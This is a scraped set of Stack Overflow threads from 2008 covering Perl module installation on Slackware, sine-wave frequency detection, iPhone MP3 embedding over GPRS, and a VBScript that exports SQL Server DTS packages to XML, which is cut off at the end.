[ { "answer_id": 87311, "author": "Michael Carman", "author_id": 8233, "author_profile": "https://Stackoverflow.com/users/8233", "pm_score": 2, "selected": true, "text": "<p>It should be compatible. The <a href=\"http://bbbike.radzeit.de/~slaven/cpantestersmatrix.cgi?dist=Error+0.17015\" rel=\"nofollow noreferrer\">CPAN Tester's matrix</a> shows no failures for Perl 5.8.8 on any platform.</p>\n\n<p>Per the <a href=\"https://metacpan.org/source/SHLOMIF/Error-0.17022/README\" rel=\"nofollow noreferrer\">README</a>, you can install it by doing:</p>\n\n<pre><code>perl Makefile.pl\nmake\nmake test\nmake install\n</code></pre>\n" }, { "answer_id": 87414, "author": "Ovid", "author_id": 8003, "author_profile": "https://Stackoverflow.com/users/8003", "pm_score": 0, "selected": false, "text": "<p>What do you mean by \"does not seem to be compatible\"? Can you post the error message?</p>\n\n<p>If the latest version does not work, you can select an older version in the \"other releases\" drop down and download that.</p>\n\n<p>Edit: to those reading this, the author updated the question, so my answer seems a bit out of left field :)</p>\n" }, { "answer_id": 87634, "author": "Aristotle Pagaltzis", "author_id": 9410, "author_profile": "https://Stackoverflow.com/users/9410", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>how do you guys search for those modules</p>\n</blockquote>\n\n<p><a href=\"http://search.cpan.org/\" rel=\"nofollow noreferrer\">http://search.cpan.org/</a></p>\n" }, { "answer_id": 87650, "author": "Aristotle Pagaltzis", "author_id": 9410, "author_profile": "https://Stackoverflow.com/users/9410", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>now I'm looking for Core.pm</p>\n</blockquote>\n\n<p>That’s SVN::Core, which is a bit of a problem. Try installing <a href=\"https://metacpan.org/pod/Alien::SVN\" rel=\"nofollow noreferrer\">Alien::SVN</a> from CPAN. That worked for me on my freshly installed Slackware 12.0 on my laptop, but I have yet to get it to install on my workstation.</p>\n" }, { "answer_id": 87665, "author": "Sam Kington", "author_id": 6832, "author_profile": "https://Stackoverflow.com/users/6832", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://metacpan.org/\" rel=\"nofollow noreferrer\">https://metacpan.org/</a> is your first port of call for Perl modules.</p>\n" }, { "answer_id": 87678, "author": "Michael Carman", "author_id": 8233, "author_profile": "https://Stackoverflow.com/users/8233", "pm_score": 0, "selected": false, "text": "<p>The place to search is <a href=\"http://search.cpan.org\" rel=\"nofollow noreferrer\">http://search.cpan.org</a>.</p>\n\n<p>I have my browser (Firefox) set up so that I can type \"cpan foo\" in the address bar and it will search CPAN for modules matching \"foo.\" You can do this with either a keyword bookmark or by assigning a keyword to a search plugin.</p>\n" }, { "answer_id": 87768, "author": "cjm", "author_id": 8355, "author_profile": "https://Stackoverflow.com/users/8355", "pm_score": 2, "selected": false, "text": "<pre><code>Base class package \"Module::Build\" is empty.\n (Perhaps you need to 'use' the module which defines that package first.)\n at inc/My/SVN/Builder.pm line 5\nBEGIN failed--compilation aborted at inc/My/SVN/Builder.pm line 5.\nCompilation failed in require at Build.PL line 6.\nBEGIN failed--compilation aborted at Build.PL line 6.\n</code></pre>\n\n<p>is a (rather poor) way of asking you to install <a href=\"https://metacpan.org/pod/Module::Build\" rel=\"nofollow noreferrer\">Module::Build</a>.</p>\n\n<p>Once you do that, it's</p>\n\n<pre><code>perl Build.PL\n./Build\n./Build test\n./Build install\n</code></pre>\n" }, { "answer_id": 88319, "author": "Erik Johansen", "author_id": 1214705, "author_profile": "https://Stackoverflow.com/users/1214705", "pm_score": 1, "selected": false, "text": "<p>I'm guessing you're running on Slackware so the cpan command is what you want to be using to install any Perl modules. It will pull in all dependencies for you. If you're running it for the first time it will have to do some cofiguration, but newer versions of cpan will ask if you want it to automatically configure it.</p>\n\n<p>$ sudo cpan</p>\n\n<p>cpan> install Alien::SVN</p>\n\n<p>Additionally, if there's a package management application for Slackware, you should try that first to install new Perl modules.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14690/" ]
It is obviosly some Perl extensions. Perl version is 5.8.8. I found Error.pm, but now I'm looking for Core.pm. While we're at it: how do you guys search for those modules. I tried Google, but that didn't help much. Thanks. --- And finally, after I built everything, running: ``` ./Build install ``` gives me: ``` Running make install-lib /bin/ginstall -c -d /usr/lib/perl5/site_perl/5.8.8/i486-linux-thread-multi/Alien/SVN --prefix=/usr /bin/ginstall: unrecognized option `--prefix=/usr' Try `/bin/ginstall --help' for more information. make: *** [install-fsmod-lib] Error 1 installing libs failed at inc/My/SVN/Builder.pm line 165. ``` Looks like Slackware's 'ginstall' really does not have that option. I think I'm going to Google a little bit now, to see how to get around this.
It should be compatible. The [CPAN Tester's matrix](http://bbbike.radzeit.de/~slaven/cpantestersmatrix.cgi?dist=Error+0.17015) shows no failures for Perl 5.8.8 on any platform. Per the [README](https://metacpan.org/source/SHLOMIF/Error-0.17022/README), you can install it by doing: ``` perl Makefile.pl make make test make install ```
87,262
<p>I need to find the frequency of a sample, stored (in vb) as an array of byte. Sample is a sine wave, known frequency, so I can check), but the numbers are a bit odd, and my maths-foo is weak. Full range of values 0-255. 99% of numbers are in range 235 to 245, but there are some outliers down to 0 and 1, and up to 255 in the remaining 1%. How do I normalise this to remove outliers, (calculating the 235-245 interval as it may change with different samples), and how do I then calculate zero-crossings to get the frequency? Apologies if this description is rubbish!</p>
[ { "answer_id": 87292, "author": "Purfideas", "author_id": 4615, "author_profile": "https://Stackoverflow.com/users/4615", "pm_score": 2, "selected": false, "text": "<p>Use the Fourier transform, it's much more noise insensitive than counting zero crossings</p>\n<p>Edit: @WaveyDavey</p>\n<p>I found an F# library to do an FFT: <a href=\"http://fsharpnews.blogspot.com/2007/03/fast-fourier-transforms.html\" rel=\"nofollow noreferrer\">From here</a></p>\n<blockquote>\n<p>As it turns out, the best free\nimplementation that I've found for F#\nusers so far is still the fantastic\nFFTW library. Their site has a\nprecompiled Windows DLL. I've written\nminimal bindings that allow\nthread-safe access to FFTW from F#,\nwith both guru and simple interfaces.\nPerformance is excellent, 32-bit\nWindows XP Pro is only up to 35%\nslower than 64-bit Linux.</p>\n</blockquote>\n<p>Now I'm sure you can call F# lib from VB.net, C# etc, that should be in their docs</p>\n" }, { "answer_id": 87302, "author": "Tyler", "author_id": 3561, "author_profile": "https://Stackoverflow.com/users/3561", "pm_score": 3, "selected": false, "text": "<p>The standard method to attack this problem is to consider one block of data, hopefully at least twice the actual frequency (taking more data isn't bad, so it's good to overestimate a bit), then take the <a href=\"http://en.wikipedia.org/wiki/FFT\" rel=\"noreferrer\">FFT</a> and guess that the frequency corresponds to the largest number in the resulting FFT spectrum.</p>\n\n<p>By the way, very similar problems have been asked here before - you could search for those answers as well.</p>\n" }, { "answer_id": 87613, "author": "AShelly", "author_id": 10396, "author_profile": "https://Stackoverflow.com/users/10396", "pm_score": 4, "selected": true, "text": "<p>The FFT is probably the best answer, but if you really want to do it by your method, try this:</p>\n\n<p>To normalize, first make a histogram to count how many occurrances of each value from 0 to 255. Then throw out X percent of the values from each end with something like:</p>\n\n<pre><code>for (i=lower=0;i&lt; N*(X/100); lower++)\n i+=count[lower];\n//repeat in other direction for upper\n</code></pre>\n\n<p>Now normalize with </p>\n\n<pre><code>A[i] = 255*(A[i]-lower)/(upper-lower)-128\n</code></pre>\n\n<p>Throw away results outside the -128..127 range.</p>\n\n<p>Now you can count zero crossings. To make sure you are not fooled by noise, you might want to keep track of the slope over the last several points, and only count crossings when the average slope is going the right way.</p>\n" }, { "answer_id": 87654, "author": "basszero", "author_id": 287, "author_profile": "https://Stackoverflow.com/users/287", "pm_score": 0, "selected": false, "text": "<p>I googled for \"basic fft\". <a href=\"http://logix4u.net/DSP/Fast_Fourier_Transform/Visual_Basic_program_for_Fast_Fourier_Transform.html\" rel=\"nofollow noreferrer\">Visual Basic FFT</a> Your question screams FFT, but be careful, using FFT without understanding even a little bit about DSP can lead results that you don't understand or don't know where they come from.</p>\n" }, { "answer_id": 87824, "author": "cjanssen", "author_id": 2950, "author_profile": "https://Stackoverflow.com/users/2950", "pm_score": 2, "selected": false, "text": "<p>If I understood well from your description, what you have is a signal which is a combination of a sine plus a constant plus some random glitches. Say, like</p>\n\n<pre><code>x[n] = A*sin(f*n + phi) + B + N[n]\n</code></pre>\n\n<p>where N[n] is the \"glitch\" noise you want to get rid of.</p>\n\n<p>If the glitches are one-sample long, you can remove them using a median filter which has to be bigger than the glitch length. On both sides of the glitch. Glitches of length 1, mean you will have enough with a median of 3 samples of length.</p>\n\n<pre><code>y[n] = median3(x[n])\n</code></pre>\n\n<p>The median is computed so: Take the samples of x you want to filter (x[n-1],x[n],x[n+1]), sort them, and your output is the middle one. </p>\n\n<p>Now that the noise signal is away, get rid of the constant signal. I understand the buffer is of a limited and known length, so you can just compute the mean of the whole buffer. Substract it.</p>\n\n<p>Now you have your single sinus signal. You can now compute the fundamental frequency by counting zero crossings. Count the amount of samples above 0 in which the former sample was below 0. The period is the total amount of samples of your buffer divided by this, and the frequency is the oposite (1/x) of the period.</p>\n" }, { "answer_id": 88719, "author": "Brendan", "author_id": 199, "author_profile": "https://Stackoverflow.com/users/199", "pm_score": 1, "selected": false, "text": "<p>Although I would go with the majority and say that it seems like what you want is an fft solution (fft algorithm is pretty quick), if fft is not the answer for whatever reason you may want to try fitting a sine curve to the data using a fitting program and reading off the fitted frequency.</p>\n\n<p>Using <a href=\"http://www.unipress.waw.pl/fityk/\" rel=\"nofollow noreferrer\">Fityk</a>, you can load the data, and fit to <code>a*sin(b*x-c)</code> where <code>2*pi/b</code> will give you the frequency after fitting.</p>\n\n<p>Fityk can be used from a gui, from a command-line for scripting and has a C++ API so could be included in your programs directly.</p>\n" }, { "answer_id": 89122, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>get the Frequency Analyzer at <a href=\"http://www.relisoft.com/Freeware/index.htm\" rel=\"nofollow noreferrer\">http://www.relisoft.com/Freeware/index.htm</a> and run it and look at the code.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87262", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2135219/" ]
I need to find the frequency of a sample, stored (in vb) as an array of byte. Sample is a sine wave, known frequency, so I can check), but the numbers are a bit odd, and my maths-foo is weak. Full range of values 0-255. 99% of numbers are in range 235 to 245, but there are some outliers down to 0 and 1, and up to 255 in the remaining 1%. How do I normalise this to remove outliers, (calculating the 235-245 interval as it may change with different samples), and how do I then calculate zero-crossings to get the frequency? Apologies if this description is rubbish!
The FFT is probably the best answer, but if you really want to do it by your method, try this: To normalize, first make a histogram to count how many occurrances of each value from 0 to 255. Then throw out X percent of the values from each end with something like: ``` for (i=lower=0;i< N*(X/100); lower++) i+=count[lower]; //repeat in other direction for upper ``` Now normalize with ``` A[i] = 255*(A[i]-lower)/(upper-lower)-128 ``` Throw away results outside the -128..127 range. Now you can count zero crossings. To make sure you are not fooled by noise, you might want to keep track of the slope over the last several points, and only count crossings when the average slope is going the right way.
87,290
<p>Although I don't have an iPhone to test this out, my colleague told me that embedded media files such as the one in the snippet below, only works when the iphone is connected over the WLAN connection or 3G, and does not work when connecting via GPRS.</p> <pre><code>&lt;html&gt;&lt;body&gt; &lt;object data="http://joliclic.free.fr/html/object-tag/en/data/test.mp3" type="audio/mpeg"&gt; &lt;p&gt;alternate text&lt;/p&gt; &lt;/object&gt; &lt;/body&gt;&lt;/html&gt; </code></pre> <p>Is there an example URL with a media file, that will play in an iPhone browser when the iphone connects using GPRS (not 3G)?</p>
[ { "answer_id": 88508, "author": "Grank", "author_id": 12975, "author_profile": "https://Stackoverflow.com/users/12975", "pm_score": 0, "selected": false, "text": "<p>I wasn't aware of that limitation. Although it does make sense to disable potentially data-hefty OBJECT or EMBED tags when on the cellular data service for which your provider may be charging by the byte, if that were the reason it wouldn't make sense that it would still work on 3G and only not on GPRS.<br />\nPerhaps the problem is one of basic data throughput? Not having an iPhone yourself (or myself) makes it difficult to test your colleague's statement. <br />\nRemember that GPRS is much slower than Wi-Fi or 3G. According to Wikipedia, GPRS will provide between 56 and 114 kbps of total duplex throughput, not all of which is in the download direction. You can already see that's not fast enough to instantly stream a typical 128 kbps mp3, even if you were getting the optimal throughput and getting it all as download speed.<br />\nLooking at <a href=\"http://forums.whirlpool.net.au/forum-replies-archive.cfm/832797.html\" rel=\"nofollow noreferrer\">this forum discussion</a> as an example that came up on Google, the GPRS customers (the ones not using Telestra, which is an EDGE provider in that area) are getting around 40 kbps. So if as the question implies, you're stuck in EDGEland, NOT 3Gland or anything inbetween, it's going to take about 20 seconds of buffering to play a 30 second mp3. And when you use a behaviour-ambiguous tag like OBJECT or EMBED, there's no guarantee in how the browser will interpret it and whether it's going to try to intelligently stream the file rather than having to download the whole thing before starting it.<br />\nSo, it's quite possible your colleague just didn't wait long enough to see if whatever embedded media he chose as a test started to play (assuming he wasn't using your 17KB test mp3 there). It's also possible that the iPhone does indeed have this limitation, though I'd think Google would be more forthcoming with it than my quick search uncovered, since people have been vocal enough with other things they don't like about iPhone. Another possibility would be that it's a limitation in the build of Safari that currently ships with the iPhone which might be changed in future versions or in another browser.<br />\nUltimately though, the question is, what kind of user experience do you really want? Embedded audio on GPRS is going to take a long time to load, and users aren't going to enjoy the experience, or potentially even experience it at all if it's supposed to start playing on page visit and it doesn't load before they navigate away. It might not be a goal worth striving towards in that case.</p>\n" }, { "answer_id": 90666, "author": "benzado", "author_id": 10947, "author_profile": "https://Stackoverflow.com/users/10947", "pm_score": 3, "selected": true, "text": "<p>The iPhone YouTube application automatically downloads lower quality video when connected via EDGE than when connected via Wi-Fi, because the network is much slower. That fact leads me to believe Apple would make the design decision to not bother downloading an MP3 over EDGE. The browser has no way to know in advance if the bit rate is low enough, and chances are, it won't be. So rather than frustrate the users with a sound file that takes too long to play (and prevents thems from receiving a call while downloading), it's better to spare them the grief and encourage them to find a Wi-Fi hotspot.</p>\n" }, { "answer_id": 596046, "author": "Diogenes", "author_id": 69528, "author_profile": "https://Stackoverflow.com/users/69528", "pm_score": 1, "selected": false, "text": "<p>Try something like this, it works on a web page. This is actually a 320kps mp3 but it is only 30 seconds long. You can use a program called LAME to convert mp3's to a bitrate you\nthat will work for you.</p>\n\n<pre><code>&lt;div class=\"music\"&gt;\n &lt;p&gt;Pachelbel's Canon&lt;/p&gt;\n &lt;!--[if !IE]&gt;--&gt;\n &lt;object id=\"Cannon\" type=\"audio/mpeg\" data=\"http://calgarydj.ca/sound%20files/Pachebels%20Cannon.mp3\" width=\"250\" height=\"16\"&gt;\n &lt;param name=\"autoplay\" value=\"false\" /&gt;\n &lt;param name=\"src\" value=\"http://calgarydj.ca/sound%20files/Pachebels%20Cannon.mp3\" /&gt;\n &lt;!--&lt;![endif]--&gt;\n &lt;object id=\"Cannon\" classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\" width=\"250\" height=\"60\"&gt;\n &lt;param name=\"autostart\" value=\"false\" /&gt;\n\n &lt;param name=\"url\" value=\"http://calgarydj.ca/sound%20files/Pachebels%20Cannon.mp3\" /&gt;\n &lt;param name=\"showcontrols\" value=\"true\" /&gt;\n &lt;param name=\"volume\" value=\"100\" /&gt;\n &lt;!--[if !IE]&gt;--&gt;&lt;/object&gt;&lt;!--&lt;![endif]--&gt;\n &lt;/object&gt;\n&lt;/div&gt;&lt;!-- end of control --&gt;\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87290", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6225/" ]
Although I don't have an iPhone to test this out, my colleague told me that embedded media files such as the one in the snippet below, only works when the iphone is connected over the WLAN connection or 3G, and does not work when connecting via GPRS. ``` <html><body> <object data="http://joliclic.free.fr/html/object-tag/en/data/test.mp3" type="audio/mpeg"> <p>alternate text</p> </object> </body></html> ``` Is there an example URL with a media file, that will play in an iPhone browser when the iphone connects using GPRS (not 3G)?
The iPhone YouTube application automatically downloads lower quality video when connected via EDGE than when connected via Wi-Fi, because the network is much slower. That fact leads me to believe Apple would make the design decision to not bother downloading an MP3 over EDGE. The browser has no way to know in advance if the bit rate is low enough, and chances are, it won't be. So rather than frustrate the users with a sound file that takes too long to play (and prevents thems from receiving a call while downloading), it's better to spare them the grief and encourage them to find a Wi-Fi hotspot.
87,303
<p>I know I can edit each individual DTS package and save it as a Visual Basic script, but with hundreds of packages on the server, that will take forever. How can I script them all at once? I'd like to be able to create one file per package so that I can check them into source control, search them to see which one references a specific table, or compare the packages on our development server to the packages on our production server.</p>
[ { "answer_id": 89343, "author": "Tom Resing", "author_id": 17063, "author_profile": "https://Stackoverflow.com/users/17063", "pm_score": 0, "selected": false, "text": "<p>You might try working with the system table sysdtspackages as demonstrated on sqldts.com in <a href=\"http://www.sqldts.com/204.aspx\" rel=\"nofollow noreferrer\">Transferring DTS Packages</a>.<br>\nAlso, there used to be many tools available for MS SQL 2000 before the new versions proliferated. I found one, called <a href=\"http://labs.red-gate.com/index.php/DTS_Package_Compare\" rel=\"nofollow noreferrer\">DTS Package Compare</a>, as a free download at Red Gate Labs.</p>\n" }, { "answer_id": 150970, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I ended up digging through the SQL 2000 documentation (Building SQL Server Applications / DTS Programming / Programming DTS Applications / DTS Object Model) and creating a VBS script to read the packages and write XML files. It's not complete, and it could be improved in several ways, but it's a big start:</p>\n\n<p>GetPackages.vbs</p>\n\n<pre>\nOption Explicit\n\nSub GetProperties (strPackageName, dtsProperties, xmlDocument, xmlProperties)\n Dim dtsProperty\n\n If Not dtsProperties Is Nothing Then\n For Each dtsProperty in dtsProperties\n If dtsProperty.Set Then\n Dim xmlProperty\n Set xmlProperty = xmlProperties.insertBefore ( _\n xmlDocument.createElement (\"Property\"), _\n xmlProperties.selectSingleNode (\"Property[@Name > '\" & dtsProperty.Name & \"']\"))\n\n 'properties\n 'xmlProperty.setAttribute \"Get\", dtsProperty.Get\n 'xmlProperty.setAttribute \"Set\", dtsProperty.Set\n xmlProperty.setAttribute \"Type\", dtsProperty.Type\n xmlProperty.setAttribute \"Name\", dtsProperty.Name\n\n If not isnull(dtsProperty.Value) Then\n xmlProperty.setAttribute \"Value\", dtsProperty.Value\n End If\n\n 'collections\n 'getting properties of properties causes a stack overflow\n 'GetProperties strPackageName, dtsProperty.Properties, xmlDocument, xmlProperty.appendChild (xmlDocument.createElement (\"Properties\"))\n End If\n Next\n End If\nEnd Sub\n\nSub GetOLEDBProperties (strPackageName, dtsOLEDBProperties, xmlDocument, xmlOLEDBProperties)\n Dim dtsOLEDBProperty\n\n For Each dtsOLEDBProperty in dtsOLEDBProperties\n If dtsOLEDBProperty.IsDefaultValue = 0 Then\n Dim xmlOLEDBProperty\n Set xmlOLEDBProperty = xmlOLEDBProperties.insertBefore ( _\n xmlDocument.createElement (\"OLEDBProperty\"), _\n xmlOLEDBProperties.selectSingleNode (\"OLEDBProperty[@Name > '\" & dtsOLEDBProperty.Name & \"']\"))\n\n 'properties\n xmlOLEDBProperty.setAttribute \"Name\", dtsOLEDBProperty.Name\n 'xmlOLEDBProperty.setAttribute \"PropertyID\", dtsOLEDBProperty.PropertyID\n 'xmlOLEDBProperty.setAttribute \"PropertySet\", dtsOLEDBProperty.PropertySet\n xmlOLEDBProperty.setAttribute \"Value\", dtsOLEDBProperty.Value\n 'xmlOLEDBProperty.setAttribute \"IsDefaultValue\", dtsOLEDBProperty.IsDefaultValue\n\n 'collections\n 'these properties are the same as the ones directly above\n 'GetProperties strPackageName, dtsOLEDBProperty.Properties, xmlDocument, xmlOLEDBProperty.appendChild (xmlDocument.createElement (\"Properties\"))\n End If\n Next\nEnd Sub\n\nSub GetConnections (strPackageName, dtsConnections, xmlDocument, xmlConnections)\n Dim dtsConnection2\n\n For Each dtsConnection2 in dtsConnections\n Dim xmlConnection2\n Set xmlConnection2 = xmlConnections.insertBefore ( _\n xmlDocument.createElement (\"Connection2\"), _\n xmlConnections.selectSingleNode (\"Connection2[@Name > '\" & dtsConnection2.Name & \"']\"))\n\n 'properties\n xmlConnection2.setAttribute \"ID\", dtsConnection2.ID\n xmlConnection2.setAttribute \"Name\", dtsConnection2.Name\n xmlConnection2.setAttribute \"ProviderID\", dtsConnection2.ProviderID\n\n 'collections\n GetProperties strPackageName, dtsConnection2.Properties, xmlDocument, xmlConnection2.appendChild (xmlDocument.createElement (\"Properties\"))\n\n Dim dtsOLEDBProperties\n On Error Resume Next\n Set dtsOLEDBProperties = dtsConnection2.ConnectionProperties\n\n If Err.Number = 0 Then\n On Error Goto 0\n GetOLEDBProperties strPackageName, dtsOLEDBProperties, xmlDocument, xmlConnection2.appendChild (xmlDocument.createElement (\"ConnectionProperties\"))\n Else\n MsgBox Err.Description & vbCrLf & \"ProviderID: \" & dtsConnection2.ProviderID & vbCrLf & \"Connection Name: \" & dtsConnection2.Name, , strPackageName\n On Error Goto 0\n End If\n\n Next\nEnd Sub\n\nSub GetGlobalVariables (strPackageName, dtsGlobalVariables, xmlDocument, xmlGlobalVariables)\n Dim dtsGlobalVariable2\n\n For Each dtsGlobalVariable2 in dtsGlobalVariables\n Dim xmlGlobalVariable2\n Set xmlGlobalVariable2 = xmlGlobalVariables.insertBefore ( _\n xmlDocument.createElement (\"GlobalVariable2\"), _\n xmlGlobalVariables.selectSingleNode (\"GlobalVariable2[@Name > '\" & dtsGlobalVariable2.Name & \"']\"))\n\n 'properties\n xmlGlobalVariable2.setAttribute \"Name\", dtsGlobalVariable2.Name\n\n If Not Isnull(dtsGlobalVariable2.Value) Then\n xmlGlobalVariable2.setAttribute \"Value\", dtsGlobalVariable2.Value\n End If\n\n 'no extended properties\n\n 'collections\n 'GetProperties strPackageName, dtsGlobalVariable2.Properties, xmlDocument, xmlGlobalVariable2.appendChild (xmlDocument.createElement (\"Properties\"))\n Next\nEnd Sub\n\nSub GetSavedPackageInfos (strPackageName, dtsSavedPackageInfos, xmlDocument, xmlSavedPackageInfos)\n Dim dtsSavedPackageInfo\n\n For Each dtsSavedPackageInfo in dtsSavedPackageInfos\n Dim xmlSavedPackageInfo\n Set xmlSavedPackageInfo = xmlSavedPackageInfos.appendChild (xmlDocument.createElement (\"SavedPackageInfo\"))\n\n 'properties\n xmlSavedPackageInfo.setAttribute \"Description\", dtsSavedPackageInfo.Description\n xmlSavedPackageInfo.setAttribute \"IsVersionEncrypted\", dtsSavedPackageInfo.IsVersionEncrypted\n xmlSavedPackageInfo.setAttribute \"PackageCreationDate\", dtsSavedPackageInfo.PackageCreationDate\n xmlSavedPackageInfo.setAttribute \"PackageID\", dtsSavedPackageInfo.PackageID\n xmlSavedPackageInfo.setAttribute \"PackageName\", dtsSavedPackageInfo.PackageName\n xmlSavedPackageInfo.setAttribute \"VersionID\", dtsSavedPackageInfo.VersionID\n xmlSavedPackageInfo.setAttribute \"VersionSaveDate\", dtsSavedPackageInfo.VersionSaveDate\n Next\nEnd Sub\n\nSub GetPrecedenceConstraints (strPackageName, dtsPrecedenceConstraints, xmlDocument, xmlPrecedenceConstraints)\n Dim dtsPrecedenceConstraint\n\n For Each dtsPrecedenceConstraint in dtsPrecedenceConstraints\n Dim xmlPrecedenceConstraint\n Set xmlPrecedenceConstraint = xmlPrecedenceConstraints.insertBefore ( _\n xmlDocument.createElement (\"PrecedenceConstraint\"), _\n xmlPrecedenceConstraints.selectSingleNode (\"PrecedenceConstraint[@StepName > '\" & dtsPrecedenceConstraint.StepName & \"']\"))\n\n 'properties\n xmlPrecedenceConstraint.setAttribute \"StepName\", dtsPrecedenceConstraint.StepName\n\n 'collections\n GetProperties strPackageName, dtsPrecedenceConstraint.Properties, xmlDocument, xmlPrecedenceConstraint.appendChild (xmlDocument.createElement (\"Properties\"))\n Next\nEnd Sub\n\nSub GetSteps (strPackageName, dtsSteps, xmlDocument, xmlSteps)\n Dim dtsStep2\n\n For Each dtsStep2 in dtsSteps\n Dim xmlStep2\n Set xmlStep2 = xmlSteps.insertBefore ( _\n xmlDocument.createElement (\"Step2\"), _\n xmlSteps.selectSingleNode (\"Step2[@Name > '\" & dtsStep2.Name & \"']\"))\n\n 'properties\n xmlStep2.setAttribute \"Name\", dtsStep2.Name\n xmlStep2.setAttribute \"Description\", dtsStep2.Description\n\n 'collections\n GetProperties strPackageName, dtsStep2.Properties, xmlDocument, xmlStep2.appendChild (xmlDocument.createElement (\"Properties\"))\n GetPrecedenceConstraints strPackageName, dtsStep2.PrecedenceConstraints, xmlDocument, xmlStep2.appendChild (xmlDocument.createElement (\"PrecedenceConstraints\"))\n Next\nEnd Sub\n\nSub GetColumns (strPackageName, dtsColumns, xmlDocument, xmlColumns)\n Dim dtsColumn\n\n For Each dtsColumn in dtsColumns\n Dim xmlColumn\n Set xmlColumn = xmlColumns.appendChild (xmlDocument.createElement (\"Column\"))\n\n GetProperties strPackageName, dtsColumn.Properties, xmlDocument, xmlColumn.appendChild (xmlDocument.createElement (\"Properties\"))\n Next\nEnd Sub\n\nSub GetLookups (strPackageName, dtsLookups, xmlDocument, xmlLookups)\n Dim dtsLookup\n\n For Each dtsLookup in dtsLookups\n Dim xmlLookup\n Set xmlLookup = xmlLookups.appendChild (xmlDocument.createElement (\"Lookup\"))\n\n GetProperties strPackageName, dtsLookup.Properties, xmlDocument, xmlLookup.appendChild (xmlDocument.createElement (\"Properties\"))\n Next\nEnd Sub\n\nSub GetTransformations (strPackageName, dtsTransformations, xmlDocument, xmlTransformations)\n Dim dtsTransformation\n\n For Each dtsTransformation in dtsTransformations\n Dim xmlTransformation\n Set xmlTransformation = xmlTransformations.appendChild (xmlDocument.createElement (\"Transformation\"))\n\n GetProperties strPackageName, dtsTransformation.Properties, xmlDocument, xmlTransformation.appendChild (xmlDocument.createElement (\"Properties\"))\n Next\nEnd Sub\n\nSub GetTasks (strPackageName, dtsTasks, xmlDocument, xmlTasks)\n Dim dtsTask\n\n For each dtsTask in dtsTasks\n Dim xmlTask \n Set xmlTask = xmlTasks.insertBefore ( _\n xmlDocument.createElement (\"Task\"), _\n xmlTasks.selectSingleNode (\"Task[@Name > '\" & dtsTask.Name & \"']\"))\n\n ' The task can be of any task type, and each type of task has different properties.\n\n 'properties\n xmlTask.setAttribute \"CustomTaskID\", dtsTask.CustomTaskID\n xmlTask.setAttribute \"Name\", dtsTask.Name\n xmlTask.setAttribute \"Description\", dtsTask.Description\n\n 'collections\n GetProperties strPackageName, dtsTask.Properties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"Properties\"))\n\n If dtsTask.CustomTaskID = \"DTSDataPumpTask\" Then\n GetOLEDBProperties strPackageName, dtsTask.CustomTask.SourceCommandProperties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"SourceCommandProperties\"))\n GetOLEDBProperties strPackageName, dtsTask.CustomTask.DestinationCommandProperties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"DestinationCommandProperties\"))\n GetColumns strPackageName, dtsTask.CustomTask.DestinationColumnDefinitions, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"DestinationColumnDefinitions\"))\n GetLookups strPackageName, dtsTask.CustomTask.Lookups, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"Lookups\"))\n GetTransformations strPackageName, dtsTask.CustomTask.Transformations, xmlDocument, xmlTask.appendChild (xmlDocument.createElement (\"Transformations\"))\n End If\n Next\nEnd Sub\n\nSub FormatXML (xmlDocument, xmlElement, intIndent)\n Dim xmlSubElement\n\n For Each xmlSubElement in xmlElement.selectNodes (\"*\")\n xmlElement.insertBefore xmlDocument.createTextNode (vbCrLf & String (intIndent + 1, vbTab)), xmlSubElement\n FormatXML xmlDocument, xmlSubElement, intIndent + 1\n Next\n\n If xmlElement.selectNodes (\"*\").length > 0 Then\n xmlElement.appendChild xmlDocument.createTextNode (vbCrLf & String (intIndent, vbTab))\n End If\nEnd Sub\n\nSub GetPackage (strServerName, strPackageName)\n Dim dtsPackage2\n Set dtsPackage2 = CreateObject (\"DTS.Package2\")\n\n Dim DTSSQLStgFlag_Default\n Dim DTSSQLStgFlag_UseTrustedConnection\n\n DTSSQLStgFlag_Default = 0\n DTSSQLStgFlag_UseTrustedConnection = 256\n\n On Error Resume Next\n dtsPackage2.LoadFromSQLServer strServerName, , , DTSSQLStgFlag_UseTrustedConnection, , , , strPackageName\n\n If Err.Number = 0 Then\n On Error Goto 0\n 'fsoTextStream.WriteLine dtsPackage2.Name\n\n Dim xmlDocument\n Set xmlDocument = CreateObject (\"Msxml2.DOMDocument.3.0\")\n\n Dim xmlPackage2\n Set xmlPackage2 = xmlDocument.appendChild (xmlDocument.createElement (\"Package2\"))\n\n 'properties\n xmlPackage2.setAttribute \"Name\", dtsPackage2.Name\n\n 'collections\n GetProperties strPackageName, dtsPackage2.Properties, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement(\"Properties\"))\n GetConnections strPackageName, dtsPackage2.Connections, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement (\"Connections\"))\n GetGlobalVariables strPackageName, dtsPackage2.GlobalVariables, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement (\"GlobalVariables\"))\n 'SavedPackageInfos only apply to DTS packages saved in structured storage files\n 'GetSavedPackageInfos strPackageName, dtsPackage2.SavedPackageInfos, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement (\"SavedPackageInfos\"))\n GetSteps strPackageName, dtsPackage2.Steps, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement (\"Steps\"))\n GetTasks strPackageName, dtsPackage2.Tasks, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement (\"Tasks\"))\n\n FormatXML xmlDocument, xmlPackage2, 0\n xmlDocument.save strPackageName + 